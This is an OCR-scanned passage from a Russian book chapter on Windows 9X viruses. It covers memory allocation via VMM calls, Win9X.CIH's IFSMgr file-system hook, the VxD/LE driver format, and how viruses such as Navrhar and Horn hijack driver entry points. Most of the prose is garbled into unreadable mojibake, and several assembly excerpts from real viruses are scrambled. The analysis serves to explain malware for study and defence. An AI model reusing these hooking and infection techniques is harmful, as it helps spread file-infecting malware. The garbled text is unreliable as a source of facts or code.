push 000h . Anpec Oydepa ang agpeca

push 100000h ;. BepxHuit xenaemblil agpec

push 000h . HWXHWIZ xenaemblit agpec

push 000h . BoipaBHuBaHue: 0 - 4 K6, 1 - 8 K6, 3 - 16 K6 n 7. 4.
push 000h . X3HAN BUPTYaNbHOM MalWuHbI

push 001h o Fpe Bupenats: 1 - B cucTemHon namatu; 0 — B namaTu
NPUNOXEHNI

push 004h . KonuyecTBo cTpaHul,

int 20h ; VMMCall

dw 53h . Kon cepsuca "PageAllocate”

dw 1 . Kog VMM

add esp, 020 . OuncTka cTeka, Tak kak VMM He penaet aToro

or eax, eax . B EAX (n B EDX) aapec cTpaHuubl. Mony4nnocs?

je .0004050A1 . Nepexon no owunbke

KonupoBsaxne Bupyca B BbleNeHHYD CTpaHuLy

mov edi, eax . Alpec BHIAENEHHON CUCTEMHOW namaTy
mov esi,ebp . Anpec Havana swupyca

mov ecx, 0000006ED . [nvHa Bupyca

repe movsh ;. KonuposaTb

Jlpyryio MoIubUKAIINIO HTOTO METO/Ia HITIOCTPUPYET (hparMeHT BUPY-
ca Win9X.Molly.725:

; Bogenenue ¢oparmeHTa n3 "CUCTEMHOM Ky4un"”

push 0000007D2h ; Pasmep Bbiaensemoro dparmeHta
int 20h ; VxDCall

dw 0Dh ;. Kon cepsuca "GetHeap”
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dw 40h . Kopn mpavsepa IFSMgr - uHcTannmpyemoil ¢painosoi cucTems
xchg ecx, eax ; B eax - ampec BbOeNeHHOro dparmeHTta
pop eax ; OuncTka cTeka + M3BNeYeHue ANWHb BUpyca

; Konuposarue BupyCa B BblAENEHHbI GparMeHT

xchg ecx, eax ; NMomecTuTb annHy supyca B ECX

mov edi, eax ; NomecTuth appec ¢parmerta B EDI

lea esi, [ebp-0Bh] ; NomecTuTh afpec Hadana Bupyca B ESI
repe movsh ; KonuposaTtb

Kak BbI MO’KeTe BU/IETD, CEPBUCHBIE ITPOIEYPBI UCTIOTb30BAHBI PA3HbIE
(«PageAllocate» u «GetHeap»), a pesyJ/ibTaT IOCTUTHYT OAMH U TOT K€ —
rjie-To B rIyOGHUHax cucTeMHOM maMsatn Windows BbIiesieH «HelpuKaca-
eMblii» (pparMeHT cucTeMHON mamaTi. TakuM 06pasoM, BUPYC HAXOMUT
cebe YKPOMHBIIT YTOJIOK, TJle €r0 HUKTO He TPOHET, U KOMUPYET B HErO CBOE
teso. Ho atoro mao. Ternepsb eMy He0OX0MMO KaKUM-TO 06Pa3oM HCKaTh
TEJTH JIJIST 3aPasKeHVs, HO 00 9TOM TIO3JKeE.

4.3.7.5. Bcmpausanue 6 aiinosyro cucmemy

Panee mbl cuntanu «Windows-apaiisep ycrpoiicTBa» 4eM-TO LIEJIbIM
u HeneaMbiM. Koneuno, man6onee npocrsie Windows-zgpaiiBepsr aeii-
CTBUTEJILHO COCOOHBI U OGMEHMBATHCA JAHHBIMU C TPUKJIAHBIMU TTPO-
rpaMMaM¥, U OJTHOBPEMEHHO B3aWMO/IEHCTBOBATD CO BHEITHUMU YCTPOIi-
CTBaMH, — TaKue JpaiBepbl CYIIECTBYIOT U HA3BIBAIOTCS MOHOIUMMHBIMU.
Ho B o6mem caydae ato ne Tak. Tunmumsiii «Windows-apaiisep» npen-
cTaBysieT coOOM CJOKHYIO MHOTOYPOBHEBYIO CHCTEMY, COCTOAILYIO W3
PA3JIMYHBIX KOMIIOHEHTOB: OJIHM OTBEYAIOT 32 MHTepdeiic ¢ MPUKIaIHbI-
MU TIPOTPaMMaMH, JPYTHE PEATU3yIoT 0600IIEeHHbIe cTpaTeruu paboThl
¢ IaHHBIMU (HanpuMep, «GJI0UHbBIE» U «CUMBOJIbHBIE» ), TPETHU HEMOCPE]I-
CTBEHHO B3aUMOJICHICTBYIOT C YCTPOHCTBAMU Yepe3 TIOPTHI BBOJIA-BBIBOJIA,
YyeTBepTbie «(OUIBTPYIOT» U «IePEYIIaKOBBIBAIOT TTOTOKHU JAHHBIX MEKIY
YPOBHAMM U T. 1. KaxibIii KoMIIoHeHT oopMIIeH B BU/IC HE3aBUCUMOTO
nporpamMmuoro Moyt (B Windows 9X ato VxD-apaiisep), HCII0Ib3yeT
CBOIT cOOCTBEHHBIN (hopMaT 06MEHA TAHHBIMU C APYTUME KOMIIOHEHTaM K
U TIPEJIOCTABJISIET M OTIPE/IEIEH DI HAOOP CEPBUCHBIX MPOIELYP, KOTO-
PBIil MOKHO paccMaTpuBaTh Kak BHyTpucucTeMubiii API. Mbl yxe 006-
CYJKJIAJIU ATO 06CTOATENBCTBO, KOT/IA PACCMATPUBAJIN <HECTAHAPTHBIE>
CEpPBUCHI, HCIOJIb3yeMble BUpycaMu. Hactano BpemMsi BepHYTbCH K 9TOMY
BOIIPOCY M OCBETHUTD €Ille OJIMH YTOJIOK TEMHOTO YyJiaHa 10Jl Ha3BaHUEM
«cucTeMHas apxutekTypa Windows».

Peub mpenMyInecTBeHHO TolieT 06 opranusaiuu GailJoBbIX CHCTEM
B Windows 9X. ITo ymomuanmio Windows Hoamep:KuBaeT HECKOJIBKO
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(bailnoBBIX cucTeM /I XpaHEHUS JAHHBIX HAa Pa3JUYHbIX (hU3UUYECKUX
yerpoiictBax: VFAT, VCDFS (daiinoBag cucrema 118 KOMIAKT-JMCKOB)
u npounx. CyniecTByeT BO3MOKHOCTh J100aBJIATh K HUM HOBbIe (haiisio-
Bbie cuctembl, Haripumep NTEFS umm daitnoByto cucremy g nojep:Rkn
Flash-nmamsitu. OTBevaer 3a a1y Bo3MOKHOCTH KomioHeHT IFSMgr — Me-
HeJIKEp MHTCTAIMPYeMbIX (DaitnoBeix cucteM. OH MO/IEPKUBAET 11eTI0Y-
Ky 06pabOTUMKOB 3aIPOCOB K (PallIOBBIM cHCTEMAM (<«XYKOB» ).

MpuknagHas nporpamma

v

YpoBeH: WHTepdeica ¢ NpUKNagHbIMK
nporpammamu (peanu3osaH B paanvyHbix DLL)

3 konbuo
3alnTbI

0 konbUO
Menegxep IFS 3almTh
OBpaboTtunk_N

I ObpaboTtumk_1 HI O6paboTyuk_2 I-) soo =P

| Fso1 | | Fso2 |

v v

10S - cynepeu3sop Bsoaa-esigona
W HW3KOYpPOBHEBLIE ApalBepsl

Puc. 4.13 < MeHenxep MHCTanampyembix
dannosbix cuctem B Windows 9X

3amnpoc Ha (haliyoBBIT BBOJ-BBIBOJ, TMOCTYNWBIIMN OT TIPUKJIATHON
nporpammbl, Bocupunumaercs IFSMgr (Mbl yoxe paccmMaTpuBaiu Ipume-
PbI 0OpallieHIs K 9TOMY KOMIIOHEHTY B pasjedie «Kak Bupycsl obpamiator-
€SI K CHCTEMHBIM CePBUCaM» ), TIPOXOIUT MOCJIEI0OBATEIBHO M0 «3BEHbSIM»>
[EMTOYKH 1, OYyud Paclio3HaH TeM WM HHBIM 06pabOTYMKOM, TTOTIafaeT
B ToT nnn unoit apaiisep (FSD — File System Driver).

Tunuuroe noseeHne pesugeHTHOro Bupyca B Windows 9X saxiroua-
eTCcsl B TOM, YTOOBI BCTPOUTHCS B IEMOUYKY 06PabOTYMKOB, UCIOJIb3YST TS
ATOTO BIIOJTHE JIETAJIILHBIE CPE/ICTBA — JIOKYMEHTUPOBAHHbBIE CHCTEMHBIE
3ampocsl k IFSMgr. 3a nimoctparyeii aToro mpreMa mpoire BCero OrsiTh
obparuThest K Koy Bupycos cemeiicrea Win9X.CIH:

lea eax, [edi][OFFFFFCF7] ; Aapec HoBoro o6paboTuunka
push eax ;
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int 20h ; UxdCall

dw 67h ; Kopm cepsuca "IFSMgr_InstallFileSystemApiHook”

dw 40h ; Kon mpaitsepa IFSMgr - wHcTannupyemoit GainoBoil CUCTeMbl
mov dr0, eax ; CoxpaHuTb agpec cTtaporo obpaboTyuka

pop eax

Boizos «IFSMgr_InstallFileSystemApiHook» BosBpaiiaer B perucrpe
EAX azpec cienymoIero KOMIOHEHTa, BCTPOEHHOTO B IIEMOUYKY 0Opa-
6orunkos 3anpocos k IFSMgr. Bupyc ucnosbayer ero, 4Tobbl epeaathb
3ampoc Aajiblie B Menouky o6paborunkoB. Ecin mpuxoguT s3ampoc Ha
BCTpaMBaHUE B IIEMIOYKY CO CTOPOHBI elle KAKOT0-HUOY b KOMIIOHEHTA, TO
BUPYC CTAPAETCS OCTATHCS CAMBIM ITEPBBIM «3BEHOM».

3arpoc Ha BBIIOJHEHME OINEPAI BBOJA-BbIBO/A, MOCTYHIAIONIIIT B
Henouky o0paboTynkoB co cToporbl IFSMgr, uMeer (opmar, onuca-
wbril B daiine «IFS.H» kommmekra MS DDK (cm. mapamerps! hyHKITUN
«IFSFileHookFunc»). Takum 06pasom, IIpu IIOJIyYeHrH YIIPaBIeHus 00-
PabOTYMKOM B CTEKE HAXOJISITCSI:

O ESP+00h — aapec BosBpara;

O ESP+04h — azpec npotenypsl B ApaiiBepe, Kyaa epeaaBarh yIpas-

JIEHUE;

O ESP+08h — kon aeiicteusa (0 — unrars daiin, 1 — nucars, 24h — o1-
KpbiTh, 0Bh — sakpbith, 2Ch — uckaTh 1epBbiii daii, 2 — UCKaTh
caenytomui daiis u mpoune);

ESP+0Ch — nomep aucka (Haunnas ¢ 1, a eciim —1, T0 9T0 He AUCK);
ESP-+10h — T pecypca (Hanpumep, daiin);

ESP+14h — xomoBas cTpanuIia s CTpOKK MMeHH (aiia;
ESP+18h — aapec crpykrypst IOREQ.

A Bor moJist aToit camoii ctpykTypsl IOREQ:;

(ONONONO,

ir_length dd ? ; +00 AnuHa Bydepa napameTpoB

ir_flags db ? ; +04 PasHoobpasHuie dnarn poctyna

ir_user db ? ; +05 ID nonb3oBaTend

ir_sfn dw ? ; +06 CucTemHbli HoMep ¢alina

ir_pid dd ? ; +08 ID Bbi3bIBalWero npouecca

ir_ppath dd ? ; +0C Appec wmenun daitna B UNUCODE

ir_auxl dd ? ; +10 Agpec BTOPWUYHOrO Nofb30BaTeNbckoro Oydepa
ir_data dd ? ; +14 Agpec nepBMYHOr0 Nonb30BaTeNbCkoro Oydepa
ir_options db ? ; +18 Onumn 3anpoca

ir_error dw ? ; +1C Kop ouwnbkn (0 - HeT ownbkn)

ir_rh dd ? ; +20 XaHan pecypcos

ir_fh dd ? ;24 XaHpn ¢ainna

ir_pos dd ? ; +28 Tosuums B ¢aine

ir_aux?2 dd ? ; +2C PasHble [ONONHWUTENbHbE NapameTphl

ir_aux3d dd ? ; +30 PasHbe NONONHWTENbHbe napameTpbl

ir_pev dd ? ; +34 YkasaTtenb Ha cemadop IFSMgr

ir_fsd db 16 dup (?) ; +38 Paboyee npocTpaHCTBO
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Hy BoT 1 Bee, Tenepsb Ko 06paboTunKa 3aIIPOCOB BBOJIA-BBIBO/IA, YCTa-
HassmBaeMbiil Bupycom Win9X.CIH, Gyjier GoJiee IOHATEH YUTATEIIO:

pusha
call
pop
add
test
jnz
lea
cmp
jnz
inc

$+5

esi

esi, 303h

byte ptr [esi], 1
near ptr Skip2

ebx, [esp+28h]

dword ptr [ebx], 24h
near ptr Skip1

byte ptr [esi]

; CmeueHue ESP Ha 20H 6aiToB
;. TpaauunorHoe. . .
;... BbYUCNEHME. . .
. lenbTa-cMmeleHus

[lpoBepka o¢nara
; 9TO "CaMOBLIBOB™ — MPONYCTUTb
flosnumns B CcTeke Kofaa AeicTBMA
9T0 3anpoc Tuna "oTKPHTb Gaitn”?
; Het - nponyctuts
. WHKpemeHTupoBaThb dnar

; 30eChb GparMeHT 3apaxeHusd, KOTOPHW Mbl MPOMyCKaem

Skip1:
popa
mov
jmp

Skip2:
dec
mov
push
call
popa
retn

eax, dr0
dword ptr [eax]

byte ptr [esi-5]
ebx, esp

dword ptr [ebx+38h]
dword ptr [ebx+24h]

. Anpec cnepyiouwero obpaboTynka
Mepexon

. JlekpemeHTupoBaThb dnar

NapameTpbl 3anpoca
BuizsaTe npouenypy 8 FSD

Taxum 06p2130M, 9TOT O6pa60T‘-II/IK PEAJIN3YET «TPOAKYIO» MO/JIEJIb 110~

BEJICHUS:

O  ecM IPUXOUT «IY;KON» 3aMIPOC Ha OTKPBITHE (aiiia, TO BUPYC U3-
BJIEKAET M3 Hero uMs (haiiyia (KOTOpoe MCIOIb3YeT JIJIsT MOTIBITKH
3apaskKeHusT ), B3BOAUT (rrar-ceMadop 1 TOBTOPHO MIEPEHATIPABIISIET
arot 3anpoc B [IFSMgr;

O ecm u3 IFSMgr mpuxoinT 3ampoc py B3BEJIEHHOM (rare, TO 9TO
(akTHUeCKy CBOU COOCTBEHHBIN 3ampoc, 1 BUpyc (He 3a0bIB cOPO-
cuTh (hrar) mepeHanpasisieT ero ApaliBepy GaisioBOI CUCTEMBI;

O ecomm 3ampoc He KacaeTcst OTKPLITHS (haiiia, TO BUPYC MPOITyCKaeT
€ero JaJIbllle 110 Ienouke 00paboTINKOB.

Boobiie rosopst, «depHoObIIb> — He caMbIil TIPOCTOi BUPYC 1 Tpedy-

eT JOBOJIbHO IIyOOKOro TOHMMaHMs TIPUHIUIOB paborhl Windows, He
Tak Ju? BeposiTHO, MMEHHO T0ITOMY MHOTHE MOCJE0BATENN TallBaHb-
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ckoro crynenta Yen Mur Xay (aBropa aToro Bupyca) HpearoquTan
IIPOCTO-HAIPOCTO <«IE€PEAUPATb» €r0 OPUTHHAJIBHBIN KOJ, TIHIATEJbHO
POKOMMEHTUPOBAHHBIN 1 OMyOJMKOBAHHDBII B AIEKTPOHHOM JKypHAJe
«Codebreakers», BMecTo TOro yToObI T0Jb30BATHCS 3aJ0KEHHBIMU B BU-
pyce uzjesimMu.

CripaBe/IJIBOCTU PA/IU CJIE/IyeT CKA3ATh, UTO IE€PBbIE IOTIBITKU BCTPAK-
BaHUs BUPYCOB B (DallJIOBYIO CUCTEMY MOKHO OOHAPYKUTDH 3a/[0JIT0 JI0
Win9X.CIH - yxe B «panHux» Windows-Bupycax 1996 r. (Win9X.
Harry u Win9X.Yoyo0.653), ricxo/iHble TEKCTBI KOTOPBIX OMYOJHUKOBAHBI
B skypHase «Vlad». Ho yauHbiMu X NPU3HATH HEJb3s1, IOCKOJIbKY OHU
COYETAJU UCIoJIb30Banue 3arnpocoB K IFSMgr ¢ ipsiMbiM Mouduiinpo-
BaHueM cucteMubIx Tabsmi Windows 1o KOHKpeTHbIM agpecaM. Bepcuu
1 PeJIM3bl OTePAIMOHHBIX CUCTEM MEHSLINCH Yepe3 Tojl (a TO U paHblie!),
ajipeca <ILIbLIN», U BUPYChI TEPSIN PaOOTOCIIOCOOHOCTD.

4.3.8. Bupycbl — BUpTyanbHbie gpansepbl

ITO CJIOKHASA U JIOBOJIBHO Pe/iKasi Pa3HOBUIHOCTD KOMIIBIOTEPHBIX BUPY-
coB. C TOUKM 3peHUst BUPYCOMUCATes, Y PE3UICHTHOTO BUPYyca, 0hopM-
JIEHHOTO KaK CUCTEMHBIH JpaiiBep, ecTb OTPOMHOE JIOCTOMHCTBO — 3a €r0
3arpys3Ky W MHUIMAIM3Anui0 orBedaer Windows, moatomy emy He Tpe-
6y€TC$I BBIITOJIHATD HUKAKUX IIpeABapyUTEIbHbIX «TGJIO,[[BI/I)KGHI/HL/,D) JJIA
nepexozia B HyJIeBOe KOJIBIO 3aMUThl U MHCTAISAINN B maMaTh. C 1py-
TOIl CTOPOHBI, HATIMCAHUE JIPAiBEPOB — BeChbMa HETPUBUAJIbHAS 3371244,
TpeytoIasi 0T aBTOpa CIHEIUAIBLHOTO MTPOTPAMMHOIO WHCTPYMEHTAPHUST
U OY€eHb r1yOOKOrO TIPOHUKHOBEHUSI B IIPUHIUIIBI YCTPOHCTBA 1 PabOTHI
OTIEPAITUOHHOU CUCTEMBI.

B pasubix Bepcusx Windows ncosib3yloTcs pastHble MOJAENN ApaiBe-
pos. Eme B snioxy Windows 3.X nostBusiach VxD-Mojesb gpaiiBepa, Ko-
Topas noj/ep;kuBaer U 16-paspsiinbiil, 1 32-pa3psi/iHblil KO U KOTOPYIO
CUMTAIOT «CBOE» Takke Bee pasnoBupHocTr Windows 9X. «Pojiaoii» ke
st Windows NT/2000/XP /2003 asisercs SYS-Mozesb 32-pa3psajiHbix
npaiiBepos («legacy drivers ). Kpome Toro, mmpoko pacipocTpaHeHa «yHu-
BepcaibHast» Mozenb WDM («Windows Driver Models ), kotopyto mosu-
MatoT Bce coBpeMeHHbIe Bepcu, Kpome Windows 95 u Windows NT 4.0.

HecMoTps Ha MHOTOUMCJIEHHBIE <UI€O0JOTUYECKUEy PA3JINIWS, BCE ATU
MOJIEIH UMEOT 001Ime 4epThl. JIpaiiBepsl JI0O0TO THIIA CYTh [HHAMUYE-
ckue 6ubanoreku 0coboro poja, KOTOpbie MPEAOCTAB/ISIOT IPUKJIALHBIM
N CHCTEMHBIM IIpOrpaMMaM CBOW MHOT'OYMCJ/IEHHBIE IIPOIEAYPHhI. IIo-
3TOMY B HUX, KaK IIPABUJIO, MHOXKECTBO TOUEK BXOJIA, K KOTOPBIM MOTYT
<IPUIEITUTHCST» BUPYCHI. BUPYCHI, UCIOIB3YIOINE 3TO 0OCTOSTENBCTBO,
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00BIYHO 3apaskaloT cucreMHble apaiiBepbl Windows 1 J0II0JIHUTENbHON
UHCTAJIAIMKE He TPeOYIOT, MOCKOJIbKY MOJIydYaioT YIpaBIeHue BMECTe
¢ npaiiBepoM-<«HocuTeseMs». OMHAKO eCTb U BUPYCBI, KOTOPbBIE IPYIUX
JPaiiBEPOB HE 3apakaloT, a caMH 110 ceDe TIPEICTABIISIIOT OTAETbHBIN TPO-
rPaMMHbII MOJTYJib, 0(hOPMJIEHHBIN KakK jipaliBep. B aTom ciryuyae Bupycy
HEOOXO/IMMO «3apPErUCTPUPOBATHCSI> B OMEPAIMOHHON CHUCTEME, YTOOBI
MOJIYUUTDh YIPaBJIEHUE TOCJe Tepe3arpy3kn komibiotepa. g atoro B
Windows 9X Bupyc, umeroniuii hopmat VXD-paiiBepa, MOKET:
O nowmecruth cBoit daitn B Katamor <«C:A\Windows\SYSTEM\
IOSUBSYS»;
O ynomsuyTh cebs B cexin [386enh | daitna «SSYSTEM.INI»;
O Buucars cebs B kmod Peecrpa « HKLM\System\ CurrentControl-
Set\Services\VxD\key\StaticVxD».
C oroii xe nenpio SYS-gpaiisep B Windows NT moskeH moMecTuTb
undopmaimio o cebe B noakmoun Bersu Peecrpa «HKLM\SYSTEM\
CurrentControlSet\Services\Vms_paiiBepas.

4.3.8.1. VxD-6upycot

CHavasra 06paTuM Halll B30p Ha BUPYChI-IpaiiBepbl, Iipe/iHA3HAYECHHbIE
st pabotsl B Windows 9X. VxD-mMoze/u, XapakTepHOii 1Jis1 9TOil BeTBU
omneparnnonHbix cucreM Windows (a taxke aiast OS/2), cooTBeTCTBYET
LE-dopmat daiiios, KoTopblil MbI ceifuac paccmoTpum moapodHee. Kak
n mobas Windows-porpamma, daiin apaiiepa naunnaercs ¢ DOS-3aro-
JIOBKA, KOTOPBIH TPAAUIIMOHHO cofepkuT aapec Windows-3aroioBka mo
emenennio 3Ch. Windows-zaromosok st LE-hopmara xapakrepusyer-
s, KaK JIerko gorajgarbes, curnarypoil ‘LE’ (6aiitet 4Ch u 45h). [Tuna
«LE-3arosioBka» 176 6aiiToB, OH COAEPIKUT IIOYTHU [TOJCOTHH 10JIEH, OTIH-
CBIBAIONINX CJIOKHYIO CTPYKTYPY VXD-daiisna. OnuiieM B HEM TOJIBKO He-
KOTOpPBI€, HarboJiee BajKHbIE JJIsT HAC TIOJIS.

LE_Signature dw 454Ch ; +00 - curHaTtypa 'LE’
db 22 dup(?)
LE_Initial_CS dd ? ; +18 - HOMep cermeHTa ANg TOYKWM BXOAa
LE_Initial_EIP dd ? ; +1C - cMeweHne TOYKM BXOAA B CErMeHTe
db 8 dup(?)
LE_Memory_Page_Size dd ? ; +28 - pasMep cekTopa
db 20 dup(?) ;
LE_Object_Table_Offset dd ? . +40 - appec Tabnuupl cerMeHToB
LE_Object_Table_Entries dd ? . +44 - Konu4ecTBO 3anucelt B Tabnuue
; CEermMeHToB
dd 20 dup(?) ;
LE_Entry_Table_Offset dd ? ; +5C - anpec Tabnuub BXOXAEHWI

db 32 dup(?) ;
LE_Data_Pages_Offset dd ? . +80 - cMmewerue obnacTu Kona/maHHbIX
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@aiin apaiiBepa pasbuT Ha OTHEIbHBIE CETMEHTBI, TIPEIHA3HAYECHHBIE
JUIS XPAHEHUsT TeX WJIM WHBIX KOMIIOHEHTOB jipaiiBepa. CerMeHThl oru-
caHbl B CIIEIUAIBLHOI TabJIuIEe, MECTOTIONOKEHUE U KOJIMYECTBO 3aruceil
B KoTopoii onpeznessaiorces noasmu <LE Object Table Offset» u «LE
Object_Table Entries» coorBercrBenno. Kaxmas sanuch 9Toil TaO/IUIIbL
UMeeT cJie/lytoluii popmar:

SegSize dd ? ; +00h Pasmep cermeHTa

BaseAdr dd ? ; +04h Appec cermeHTa

Flags dd ? ; +08h BuToBbe onaru (6UT 2 - NpPoOrpaMMHbIi KOA)
PageInd dd ? ; +0Ch TopsaakoBhit HoMep cerMeHTa (HavuHaa ¢ 1)
PageNum dd ? ; +10h CKONbKO CEKTOPOB 3aHWMAEeT CerMeHT
SegName db 4 dup (?) . +14h 4-cumBONbLHOE MMA CermMeHTa

Kaxpiii cerMeHT 3aHUMaeT 1eJioe YUCI0 CeKTOPOB (110 YMOTYAHUIO
ux uiHa 512 6aiiToB), cjegoBaTebHO, B KOHIE cerMeHTa 00bIYHO OCTa-
eTcs Heuclosb3yemoe npocrpanctso. Bupyce Navrhar (910 ciioBo mo-
CJIOBAIIKM O3HAYAET «yMeJell») BCTABJSET B KOHEIl O/IHOTO U3 CETMEHTOB
CBOM CTApPTOBBIN (hParMeHT, a OCTAIBHYIO YaCTh CBOETO TeJa JI0TTNUCHIBAET
K baitny 3apaskaemoro apaiiBepa. B poTHBOIIOIOKHOCTD 9TOMY BUPYCHI
cemeiictea Win9X.Horn npunuceiBaioT K (haiisry HOBBII CETMEHT C UMe-
nem ‘HORN’ co cBouM TejioM U 100aBJILIOT B TaOJIUILy CErMEHTOB COOT-
BETCTBYIONLYIO 3a1TCh. KcTaT, 3T0 HEPOCTas oneparys, Be/lb 3aroJI0BKN
u cirykeGHbie Tabmuipl B LE-aiiie paconoxkeHbl BIPUTHIK APYT K IPY-
ry. Bupycam aToro cemelicTBa TOPOU IPUXOMUTCS 3aHUMATHCS TOJTOU 1
TPYIHO «IIEPEIBIKKOI MeOeIs, IPEKIEe UM UM YIAETCS <BIIUCATHCS»
B ZIpaiiBep.

Hy magno, nmpeanonsoxum, 9To BUPYC € TOU WIN NHON CTENEeHbI0 KOM-
(opra Bce-taku pazmectusics BHyTpu haitsia npaiiepa. Ho Beib HyKHO
elle Kak-1o oOpaTuTh Ha cebs BHUMaHME.

O/uH U3 CerMEHTOB JIpaliBepa MOKET CONEPKATh MPOTPAMMHBIN KO,
ABTOMATHUYECKK CPabaThIBAIOIINI TIPU 3arpy3Ke ero B maMsith. Jlis ta-
KOTO cerMeHTa MOPSIKOBBIN HOMep COBITalaeT co 3HaueHueM moJsd «<LE
Initial CS» B 3arosioBke, a cuMBOJIbHOE UM vaiie Beero ectb ‘RCOD’.
Cwmeriienre TepBO KOMaH/Ibl 3TOTO KOJIa OTHOCUTEJbHO HAavaJla CeTMEHTA
xpanutcs B mojie «<LE Initial EIP». Ho sTa Touka BX0/1a HE OYeHb TPH-
BJIeKaTeJbHA JIJIs1 BAPYCOB, TIOTOMY UTO OHA B JIpaliBepax I0BOJbHO YaCTO
MIPOCTO OTCYTCTBYET, /I U BBITIOJHSETCS €€ KO/l B PEAIbHOM PesKUME.

ITosToMy OOJIBIIMHCTBO BUPYCOB WIIYT BHYTPH JpaiiBepa JApyrue
«JIBEpU» U «OKHa». [IyTh K HUM yKa3bIBaeT «TabJIiiia BXOKIEHU», Mec-
TOTIOJIOJKEHNEe KOTOPOW oripeziesisseTcs: 3HadeHueMm mosas «LE Entry
Table Offset». C ¢dopmasibHoii TOYKM 3peHust, aTa TabJaula COCTOUT U3
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3amnuceil epeMeHHol VIMHBI U HeNOCTOSTHHOM cTpykTyphl. Ho BO Bcex
VXD-apaiisepax mist Windows 9X sarmicu IMEIOT OIMH ¥ TOT JKe BUI
ET Nent db 1 ; +00 KonuyecTso nopsanucein (scerpa 17?)
ET_Flags db 3 ; +01 Tun nopsanncein (1 - 16-6uToBbie appeca, 3 - 32-6uToBbHE aapeca)
ET_Index dw 1 ; +02 [lopsaakoBhit Homep 3anucu (Bcerpa 17)

EnvMHCTBEHHAs noA3anicb

SE_Flag db ? ; +04 butoBble ¢naru nopsanncu (OMT 1 - 9KCNOPTUPYEMbI 0ObEKT)
SE_Adr dd ? ; +05 32-6uToBbin (Bcerpa?) aapec obbekTa

CMeniennss o0ObeKTOB, omuchiBaeMmble 16- miam 32-OMTOBBIM I10JIEM
«SE_Adr», oTcuMTBIBAIOTCS OT Hayasia 00JIaCTH KOJIA ¥ ITAHHBIX (CM. TT0JIe
«LE Data_Pages Offset» B «rmaBHOM» 3arosioBke). Uto ske 970 38 «00b-
exTbi»? TTockoJbKY B Tabiile BXOJKIEHWIT MPUCYTCTBYET BCETO OJHA
3alKCh U OIMCHIBAET OHA €AMHCTBEHHbIH 9KCIOPTUPYEMbI 00bEKT, TO
910 ¥ ectb 3HamenuToiii DDB — Device Descriptor Block («6s0x onu-
caHus yCTPOICTBa» ), coepsKaliiii OCHOBHYIO CIyKeOHYIO HHMOPMALIHIIO
0 npaiiBepe:

DDB_Next dd ? ; +00 Cceinka Ha cnefyownin npaisep, 3anonrseTcs Windows
DDB_SDK_Vers dw ? ; +04 Bepcus DDK

DDB_DevNum dw ? ; +06 MpeHTudukaTop apansepa

DDB_DevMajorV db ? ; +08 CTapwas 4acTb HOMepa Bepcuu

DDB_DevMinorV db ? ; +09 Mnagwas 4acTb HOMEpa Bepcuw

DDB_Flags dw ? ; +0A buToBbE Onarm

DDB_Name[8] db 8 dup(?); +0C Vma ppaiBepa

DDB_InitOrder dd ? ; +14 Topanok 3arpysku apanBepa B namaTb

DDB_CProc dd ? ; +18 Ampec npoueaypsl 06paboTKM CUCTEMHbIX COOBWEHM
DDB_V86Proc dd ? ; +1C Agpec pucneTyepckoil ¢yHkuun npu paboTe B V86
DDB_PMProc dd ? ; +20 Agpec pucneTyepckon ¢yHkuun npu paboTe B PM
DDB_V86CSIP dd ? ; +24 3anonuaetcs Windows

DDB_PMCSIP dd ? ; +28 3anonHseTcsa Windows

DDB_RefData dd ? ; +2C 3anonHseTca Windows

DDB_ServTablePtr dd ? ; +30 YkasaTenb Ha Tabnuuy agpecosB CEPBUCHHIX MpoLeayp
DDB_ServTableSize dd ? ; +34 Konu4yecTBO CEPBMCHLIX MpouUenyp

DDB_W32ServTable dd ? ; +38 3anonHaetca Windows

DDB_Prev dd ? ; +3C Ccbinka Ha nmpembayumii apaisep, 3anonnseTca Windows
DDB_Size dd ? ; +40 Pasmep CTPyKTypb onucaTens

DDB_R1 dd ? ; +44 3anonuaetcs Windows

DDB_R2 dd ? ; +48 3anonHsetca Windows

DDB_R3 dd ? ; +4C 3anonHseTca Windows

CMoTpHUTE, CKOJIIBKO CCBITIOK HA Pa3Hble MPOIELyPbI, IIPUCYTCTBYIOTINE
BHYTpHU apatiBepal BoT 3a HUX-TO U «IilemisgioTcs» Bupycel. Harpumep,
supyc Navrhar sujousmensier ajpec 006s13aTeNbHO TPUCYTCTBYIONIEH
B J1060M JpaiiBepe Tpoteypbl 00paboTKK CUCTEMHBIX coobimenuii. Tak
ke ocTymnaioT u Bupychl cemeiictea Win9X.Horn, ipaBjia, onu 1o nesa-
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10T «XUTpeii». J[e10 B ToM, 4TO azpeca, ykazanubie 8 DDB u ciryxe6HbIX
tabsmiax, ve siBistiorest abcosmorabiMu. OHE B TIPOIecce 3arpy3Ku Jpaii-
Bepa B MaMsATh MOTYT ObITh CKOPPEKTUPOBAHBI 3HAUCHUSMY U3 TaOJIUIbI
nepemeriaemMbix cchlioK. Bupycst Win9X.Horn yuuTbiBaior aT0: OHI MO-
T'YT UCIIPABUTD ajipec mpoiieaypbl B DDB, MOTYT MCKa3UTh TOJIBKO Iepe-
MEIAEMYIO CCBIIKY, @ MOTYT C/leJIaTh U TO, U ipyroe. Pesymisratom Gyer
HepeHarpapJeHue TOYKU BXOJIa B IPOLELyPYy 00PabOTKH CUCTEMHBIX CO-
001eHMIT Ha BUPYCHBII KO/,

Pesiomupys: Bupycos, 3apaxaroniux VXD-apaiisepsl, HemHoro. [Ipak-
TUYECKH BCE OHU SBJAIOTCH <KOHIETITYATbHBIMUY> U <KOJJICKIIMOHHBIMU .
Topaso GoJibliie BUPYCOB, KOTOPBIE HE 3aHUMAIOTCST PA3OOPOM CJI0KHOTO
n sanyrannoro LE-dopmara, a camu saBisiorest VXD-mopysisamu, «co-
6pannbiMuy» 1pu oMot Microsoft DDK (nanpumep, Win9X.Punch).
Pazymeercs, «1e4nTh» UX HEBO3MOKHO, & HA/IO TPOCTO YAAJIATD.

Bce VXD-Bupychl, AJ1s1 TOro 4To0bl II€PEMEIAThCS ¢ MALIMHBL HA Ma-
IIMHY, YMEIOT TaKkKe 3apaxkarh oOpranbie EXE-mporpammer PE-dopmara,
nokymenTsl MS Word (Bupyc Navrhar), COM-nporpammbl (BUPYCHI ce-
MmeiicrBa Opera) u npouee. PaGorast B HyJIeBOM KOJIbIE 3alllMThI, TOUCK
JKEPTB M JIOCTYII K CUCTEMHBIM CEPBMCAM OHU OCYIIECTBJISIOT 110 <METO-
mmke> Win9X.CIH.

4.3.8.2. SYS-6upycor u WDM-6upycot

i ToAmep:KKU ATOTO TUIA JIPAHBEPOB TPOTPAMMUCTBI  (DUPMBI
